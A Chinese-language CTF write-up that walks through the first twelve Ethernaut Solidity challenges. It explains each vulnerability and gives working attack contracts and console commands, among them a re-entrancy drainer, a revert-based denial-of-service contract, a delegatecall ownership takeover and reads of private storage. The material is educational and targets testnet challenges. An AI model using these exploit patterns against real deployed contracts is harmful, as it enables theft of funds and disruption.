最近尝试在做Ethernaut上面的题目,也在网上搜到了一些过去别人写的题解。但问题在于,随着时间发展,目前有些题目的合约代码已经更新,有些题目引入库合约的代码地址发生变化,还有重入题目中存入余额与之前有所不同,过去的wp中某些题目的题解不能复现。针对这些问题,我修改了一些题解并尽可能详细地解释其中漏洞产生的原理,内容如下。
1. Fallback
合约如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
注意题目中给出的SafeMath.sol
地址已不能引用,可以用上面的路径。
可以通过contribute
函数提高用户在contributions
数组的值,用户可以使用getContribution
函数获取到当前的contributions数组的内容。注意到有个receive
函数,解释一下
每个合约最多有一个receive函数,这个receive函数使用
receive() external payable { ... }
的方式声明(没有function关键字),这个函数不能有参数,并且不能返回任何东西,必须有external
可见度和payable
状态可变性。这个函数可以是virtual的,可以被重写并且可以使用modifiers。当合约收到一个calldata为空的call时,receive函数会被调用。这个函数会在执行一些以太币转账操作时被执行,常见的以太币转账操作包括
.send()
、.transfer()
函数发起的转账。如果没有receive函数存在,但是存在一个payable属性的fallback函数的话,这个fallback函数会在一次以太币转账中被调用。如果一个合约既没有receive函数也没有payable属性的fallback函数,那么这个合约不能通过常规的交易来接收以太币,并且会抛出一个异常。
而在本题中,可以看到,如果满足require中的条件,receive函数将本合约的owner变成了msg.sender,再通过withdraw
函数提取合约中的所有余额,即可完成攻击。所有攻击步骤如下:
- 首先向合约中充值一定数量的以太币,在控制台执行
contract.contribute({value:1})
,保证满足contributions[msg.sender]>0
- 然后向合约对应地址转账1个以太币,触发receive函数,这里可以使用metamask转账
- 转账完成后查看合约的owerner,可以看到已经变成攻击者的地址,最后调用
withdraw
函数,取出合约中的所有余额,完成攻击。
2.Fallout
合约如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
// import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/Math.sol';
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
contract.Fal1out()
调用从而使得owner变成攻击者的地址- 然后直接调用
collectAllocations
函数拿下
这个题想说明的是,构造函数是无法直接调用的,而本题中作者故意写成Fal1out
注意中间是1,使得该函数不是构造函数,于是可以全局调用。
3. CoinFlip
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
// import '@openzeppelin/contracts/math/SafeMath.sol';
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
这里解释一下,block.number
可以用来获取当前交易对应block的编号,而这里减1获取的就是前一个block的编号,而blockhash(id)可以获取对应id的block的hash值,对应形式类似0x0ac2bf40a6d661df20bbe1e61c73c0c247215f172053b9fc8af4bff15b94085b
这样,然后uint256将其转换为16进制对应的数值。其中给的factor就是$2^{256}/2$,所以每次做完除法的结果有一半几率是0,一半是1。
本题考察点在于,上述这种通过
block.blockhash(block.number - 1)
获取负一高度的区块hash来生成随机数的方式是极易被攻击利用的。原理是在区块链中,一个区块包含多个交易,我们可以先运行一下上述除法计算的过程获取结果究竟是0还是1,然后再发送对应的结果过去,区块链中块和快之前的间隔大概有10秒,手动去做会有问题,而且不能保证我们计算的合约是否和题目运算调用在同一个block上,因此需要写一个攻击合约完成调用。我们在攻击合约中调用题目中的合约,可以保证两个交易一定被打包在同一个区块上,因此它们获取的
block.number.sub(1)
是一样的,攻击合约代码如下:// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; interface CoinFlip{ function flip(bool _guess) external returns (bool);//这里函数可见性要改成external } contract attack { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; address targetAddress =0xBC69893DE012e1949285b4c04e643E6f7958682C;//改成要攻击地址 CoinFlip c; function exp() public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; c = CoinFlip(targetAddress); c.flip(side); } }
remix选择injected web3,使用metamask账户连接到Rinkeby测试网上,部署上述代码然后点击10次exp函数即可。
4. Telephone
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这道题需要了解tx.origin
和msg.sender
的区别。假设A、B、C都是已经部署的合约,如果我们用A去调用C,即A->C,那么在C合约看来,A既是tx.origin
,又是msg.sender
。如果调用链是A->B->C,那么对于合约C来说,A是tx.origin
,B是msg.sender
,即msg.sender
是直接调用的一方,而tx.origin
是交易的原始发起者,和英文也对应着。因此本题直接外部部署合约调用changeOwner函数即可完成。攻击代码如下:
pragma solidity ^0.4.11;
interface Telephone {
function changeOwner(address _owner) external;
}
contract exploit {
address targetAddr;
Telephone t;
address myaddr;
function setInstance(address _targetAddr,address _myaddr) public {
targetAddr=_targetAddr;
myaddr= _myaddr;
}
function exp () public {
t = Telephone(targetAddr);
t.changeOwner(myaddr);
}
}
倒是搜索的时候可以搜到针对条件为require(tx.origin == owner);
的攻击,参考这里
5. Token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
这个题考察整数溢出的问题,题目说明中告知初始已经给我们分配了20个token,所以我们只需要外部调用transfer函数,执行transfer(instance,21)
,那么balances[msg.sender] - _value
的结果为-1,由于是uint类型,会变成$2^{256}-1$这样一个很大的数字,从而实现攻击,攻击代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Token {
function transfer(address _to, uint _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint balance);
}
contract exploit {
mapping(address => uint) balances;
uint public mybalance;
address target;
Token token;
event log(uint);
//target设置为题目合约地址
function setins(address _addr)public{
target=_addr;
}
//_addr是instance地址,当然这里任何在balances中合法的其他地址都行,_value设置成21
function exp(address _addr,uint _value) public {
token=Token(target);
token.transfer(_addr,_value);
}
//用来读余额,方便调试
function getbalance(address _addr) public returns(uint){
token=Token(target);
mybalance=token.balanceOf(_addr);
emit log(mybalance);
return mybalance;
}
}
也可以在命令行直接传,如下所示:
6.Delegation
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
本题首先需要了解一下solidity当中三种调用代码的特殊方式:call
、delegatecall
和staticcall
<address>.call(bytes memory) returns (bool, bytes memory)
使用给定的payload发出一个低级(low-level)的CALL
命令,返回执行是否成功和数据,转发所有可用gas,可调整。
<address>.delegatecall(bytes memory) returns (bool, bytes memory)
使用给定payload发出一个低级的DELEGATECALL
指令,返回执行是否成功和数据,转发所有可用gas,可调整。
<address>.staticcall(bytes memory) returns (bool, bytes memory)
使用给定payload发出一个低级的STATICCALL
指令,返回执行是否成功和数据,转发所有可用gas,可调整。
官网三个指令说明几乎一模一样,他们之间的具体区别用一段代码来说明:
pragma solidity ^0.4.23;
contract Calltest {
address public b;
function test() public {
b=address(this);
}
}
contract Compare {
address public b;
address public testaddress;
event logb(address _a);
constructor(address _addressOfCalltest) public {
testaddress = _addressOfCalltest;
}
function withcall() public {
testaddress.call(bytes4(keccak256("test()")));
emit logb(b);
}
function withdelegatecall() public {
testaddress.delegatecall(bytes4(keccak256("test()")));
emit logb(b);
}
}
首先部署一下CallTest
合约,然后将合约地址作为Compare
合约的构造参数进行部署。部署完成后,分别点击2个合约的b,可以看到都是0x0000000000000000000000000000000000000000
然后点击执行withcall
函数,之后再分别点击b,查看结果,可以发现CALLTEST
合约的b已经变成了这个合约的部署地址0x0debB7DC73AE4ba3C7d740491a0bc0f8C63594c8
,而Compare合约的地址并没有变化。说明call
只是在CALLtest
合约中执行了test函数
再执行withdelegatecall
函数,然后分别查看结果,可以看到此时Compare
合约的b变成Compare
合约的地址,即,我们在Compare
合约中执行了test函数,而上面的call
实际上还是在CALLtest
合约中执行的test函数
如果部署后直接执行withdelegatecall
,查看结果,可以发现只有Compare
合约的b被改变了,也进一步印证了上面说的,delegatecall
只在Compare
合约内部执行了test函数,相当于test函数代码迁移到了Compare合约中执行了一下,这也是solidity实现类似库函数作用的方式。
回到本题,我们的目标就是通过delegatecall调用delegate合约的pwn函数,从而实现修改第一个合约的owner。这就涉及到call指定调用函数的操作,当给call传入的第一个参数时四个字节时,那么合约就会默认这四个字节是要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个字节,函数签名就是带有括号括起来的参数类型列表的函数名称。
所以只需要一行即可完成攻击:
contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});
原理就是sendTransaction
这个交易触发fallback函数,这里msg.data
就是我们用类似json的形式指定的data,data放前四个字节即可。
还有一种调用方式就是上上面演示代码提到的
(bytes4(keccak256("test()")))
,keccak256和sha3是一样的,这样也可以获取到前4个字节。
这里slice(0,10)
是因为前面还有个0x,加上0x一共10个字符。
7. Force
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
本题代码只有一个空合约,没有任何代码,看起来让人摸不着头脑。题目要求是让合约的余额大于0,这用到selfdestruct
函数。这是一个自毁函数,当我们调用这个函数时,它会使合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数。(因为之前提到,如果合约收到一笔没有任何函数可以处理的资金时,就会调用fallback函数,而selfdestruct函数无视这一点,也就是资金会优先由selfdestruct函数处理)
步骤是:
- 首先部署一个调用
selfdestruct
函数的合约,例如
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Attack {
uint b;
event log(uint);
constructor()public{
b=0;
}
// 写receive函数是为了让这个合约接收一点ether,我在测试时如果只有下面的exploit函数转账一直失败
// 当然也可以在创建合约时直接存入
receive()payable external{
b+=msg.value;
emit log(b);
}
function exploit(address payable _target) public payable {
selfdestruct(_target);
}
}
特别注意的一点是,这个函数必须有payable属性,否则这个合约时无法接收转账的。
- 往这个合约里存点钱,比如我的地址是
0xbB5D735088498AcaaCc24A99d5fd13f947A5879f
,直接使用Metamask往里面存。
然后执行exploit函数,设置地址为题目地址,selfdestruct后eth就强制到了题目地址上,从而完成题目要求。
8. Vault
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
这个题目代码很明显,就是需要我们获得合约中的password,然后调用unlock函数即可。这涉及到一点:以太坊部署和合约上所有的数据都是可读的,包括这里合约内定义为private类型的password变量,我们可以使用web3.eth.getStorageAt
来读取合约行对应地址的数据
web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
第一个参数时对应要读取的合约地址,第二个参数是要读取内容的索引位置(变量是第几个被定义的变量),第三个参数如果被设置,那么就不会使用默认的block(被web3.eth.defaultBlock设置的默认块),而是使用用户自定义的块,这个参数可选项有"earliest"
, "latest"
和 "pending"
,第四个选项设置回调函数。
所以本题首先使用await web3.eth.getStorageAt(contract.address,1)
读取password的内容(await web3.eth.getStorageAt(contract.address,0)
读取到的是locked变量的值),然后使用await contract.unlock("A very strong secret password :)")
解锁即可,可以使用await contract.locked()
查看是否解锁。
注意一点是,web3.js不能自动把string解析成byte32类型,因此需要我们web3.utils.asciiToHex
使用转换一下
换句话说,web3.js里0x
开头的字符串可以被认为是bytes32
9. King
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
很明显可以通过看到receive
函数中只要我们满足require的条件,就可以篡改合约的king
,查看合约新实例可以看到合约在创建时存入了0.001ether
因此我们只需转入0.01ether即可满足条件,而题目说明中告知,当我们submit instance 时本关会尝试回收“王权”,也就是它会传入一个更大的msg.value,修改king为原来的msg.sender,为了阻止这一点,我们可以通过在合约的receive
或者fallback
函数中加入revert函数来实现。
pragma solidity ^0.6.0;
contract AttackKing {
constructor(address payable _victim) public payable {
_victim.call.gas(1000000).value(1 ether)("");
}
receive() external payable {
revert();
}
}
务必注意,因为我们创建的合约需要向题目合约转账,所以在创建合约时一定要选择1 ether的余额放进去,然后设置victim为题目合约地址,当submit题目打算回收“王权”时,它运行到king.transfer(msg.value);
这一行时,由于king就是我们合约的地址,而我们合约的receive
函数会执行revert,因此它会卡在这个状态无法执行,从而无法取回王权。
这个漏洞在实际合约中被用revert来执行DDos,让程序卡在某个状态无法运行。
10. Re-entrancy
终于到了重入漏洞,著名的The DAO攻击中攻击者就利用了重入漏洞,造成了以太坊社区的一个硬分叉。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
注意这里使用了call{value:xx}
的形式,call
是send
和transfer
函数底层实现,也是用来转账的。与它们的区别在于,参考链接
transfer:要求接收的智能合约中必须有一个
fallback
或者receive
函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:- 付款方合约的余额不足,小于所要发送的value
- 接收方合约拒绝接收支付
send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:
(bool success, bytes memory data) = receivingAddress.call{value: 100}("");
将参数设置为空会触发接收合约的
fallback
函数,使用call同样也可以调用本合约内的函数,形式如下(bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256("function_name(uint256)",args)));
这里设置的gas是浮点数类型的,其中
function_name
、uint256
和args
需要替换为实际函数名字、参数类型、参数值。
send
和transfer
有一个限制单笔交易的gas不能超过2300的约束,这个约束值是很低的,只能支持一个event的触发,做不了更多操作,因此当设置到一些高gas消耗的操作时,必须使用call函数,但由于call函数不限制操作的gas值,又会导致存在合约重入的问题。
回到本题,注意到withdraw
函数中调用了一个空参数的call
函数,我们可以编写一个特殊的合约,让接收函数的fallback函数重复调用目标合约的withdraw
函数,这样合约就会不断给我们所编写的合约转账直至余额为0。具体代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract attack {
address payable target;
address payable public owner;
uint amount = 1000000000000000 wei;
constructor(address payable _addr) public payable {
target=_addr;
owner = msg.sender;
}
function step1() public payable{
bool b;
(b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
require(b,"step1 error");
}
function setp2() public payable {
bool b;
(b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
require(b,"step2 error");
}
fallback () external payable{
bool b;
(b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
require(b,"fallback error");
}
function mywithdraw() external payable{
require(msg.sender==owner,'not you');
msg.sender.transfer(address(this).balance);
}
}
可以看到,合约在初始创建的时候往里面存了
0.001 ether
,也就是1000000000000000 wei
,这也是为什么上面代码中为这个数字,注意部署时需要存入1000000000000000 wei
部署后首先执行step1
,执行后可以看到合约地址对应余额增大了,说明donate
存款成功
执行step2
,利用进入fallback
函数的重入再次转账,可以看到余额数量变得很大,并且题目合约余额为0,说明攻击成功
11. Elevator
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
这道题其漏洞其实跟solidity关系不大,有点像逻辑漏洞?
上述代码中,Building
是一个接口,类似抽象类,而isLastFloor
则类似一个抽象函数,这里Building(msg.sender)
远程调用我们传入的合约,因此我们可以自己设计这个函数的具体内容。题目最终要求我们到达电梯顶层,也就是让top=true
。但分析代码可知,如果要进入if分支,那么building.isLastFloor(_floor)
必须返回false,而top又等于building.isLastFloor(_floor)
,似乎top只能为false。注意到,判断和赋值这里是两次函数调用,它们的返回结果并不一定相同。如果我们设置isLastFloor
为针对同一个变量的取反函数,那么第一次调用返回false,第二次调用返回true,即可满足题目条件,具体代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Elevator {
function goTo(uint _floor) external;
}
contract Building {
bool x=true;
address target;
Elevator elevator;
function isLastFloor(uint) external returns (bool){
x=!x;
return x;
}
function exploit(address _addr) public{
elevator= Elevator(_addr);
elevator.goTo(2);
}
}
其中x是一个内部状态变量,初始值为true
,因此第一次调用时返回false,第二次取反返回true,从而绕过题目判断。其他语言里如果判断函数是一个对相同变量的取反函数的话也会存在这种问题8。
12. Privacy
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
题目很简单,就是我们输入data数组第二个元素的前16个字节即可,考察的还是以太坊合约中状态变量的内存分布。使用await web3.eth.getStorageAt(instance, 5)
读取到数组data[2]
的内容为0x246a7e946b46f638611408e1608743c0e8fb1f95538dce4a1921213f0ce798c5
,注意bytes16是从高地址开始截取的,所以传入await contract.unlock('0x246a7e946b46f638611408e1608743c0')
即可
具体内存模型:本文中是一个静态数组,数组元素也是跟在前面的元素后面直接排列的,也就是下面这样的内存分布。
=============================================
unused | locked
----------------------------------------------------------------- slot 0
31 bytes | 1 byte
=============================================
ID
----------------------------------------------------------------- slot 1
32 bytes
=============================================
unused |awkwardness|denomination|flattening|
----------------------------------------------------------------- slot 2
28 bytes|2 bytes | 1 byte | 1 byte
=============================================
data[0]
----------------------------------------------------------------- slot 3
32 bytes
=============================================
data[1]
----------------------------------------------------------------- slot 4
32 bytes
=============================================
data[2]
----------------------------------------------------------------- slot 5
32 bytes
=============================================
如果,如果定义是bytes32[] private data
,也就是定义成一个动态数组的话,那么内存模型是这样的。
=============================================
unused | locked
----------------------------------------------------------------- slot 0
31 bytes | 1 byte
=============================================
ID
----------------------------------------------------------------- slot 1
32 bytes
=============================================
unused |awkwardness|denomination|flattening
----------------------------------------------------------------- slot 2
28 bytes|2 bytes | 1 byte | 1 byte
=============================================
data.length
----------------------------------------------------------------- slot 3
32 bytes
=============================================
......
=============================================
data[0]
----------------------------------------------------------------- slot keccak256(3)
32 bytes
=============================================
data[1]
----------------------------------------------------------------- slot keccak256(3)+1
32 bytes
=============================================
data[2]
----------------------------------------------------------------- slot keccak256(3)+2
32 bytes
=============================================